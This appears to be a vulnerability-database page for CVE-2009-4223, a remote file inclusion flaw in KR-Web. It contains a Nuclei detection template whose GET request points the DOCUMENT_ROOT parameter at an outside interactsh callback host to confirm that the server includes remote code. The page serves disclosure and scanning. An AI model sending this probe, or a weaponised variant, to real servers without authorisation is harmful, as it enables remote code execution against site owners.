CVE-2009-4223: KR-Web <=1.1b2 - Remote File Inclusion

日期: 2025-08-01 | 影响软件: KR-Web | POC: 已公开

漏洞描述

KR-Web 1.1b2 and prior contain a remote file inclusion vulnerability via adm/krgourl.php, which allows remote attackers to execute arbitrary PHP code via a URL in the DOCUMENT_ROOT parameter.

PoC代码[已公开]

id: CVE-2009-4223

info:
  name: KR-Web <=1.1b2 - Remote File Inclusion
  author: geeknik
  severity: high
  description: KR-Web 1.1b2 and prior contain a remote file inclusion vulnerability via adm/krgourl.php, which allows remote attackers to execute arbitrary PHP code via a URL in the DOCUMENT_ROOT parameter.
  impact: |
    An attacker can exploit this vulnerability to include arbitrary files from remote servers, leading to remote code execution or information disclosure.
  remediation: |
    Upgrade to a patched version of KR-Web or apply the necessary security patches to fix the remote file inclusion vulnerability.
  reference:
    - https://sourceforge.net/projects/krw/
    - https://www.exploit-db.com/exploits/10216
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/54395
    - http://www.exploit-db.com/exploits/10216
    - https://nvd.nist.gov/vuln/detail/CVE-2009-4223
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2009-4223
    cwe-id: CWE-94
    epss-score: 0.04664
    epss-percentile: 0.88895
    cpe: cpe:2.3:a:gianni_tommasi:kr-php_web_content_server:*:beta_2:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gianni_tommasi
    product: kr-php_web_content_server
  tags: cve,cve2009,krweb,rfi,edb,gianni_tommasi

http:
  - method: GET
    path:
      - "{{BaseURL}}/adm/krgourl.php?DOCUMENT_ROOT=http://{{interactsh-url}}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100873b88be207bd5039239c65707c991833de524f375c47acd290dc39705cb7d7f02206816935ff7af95c97388f9a297738db787d45a631d130096d7e81e2ecdda9c44:922c64590222798bb761d5b6d8e72950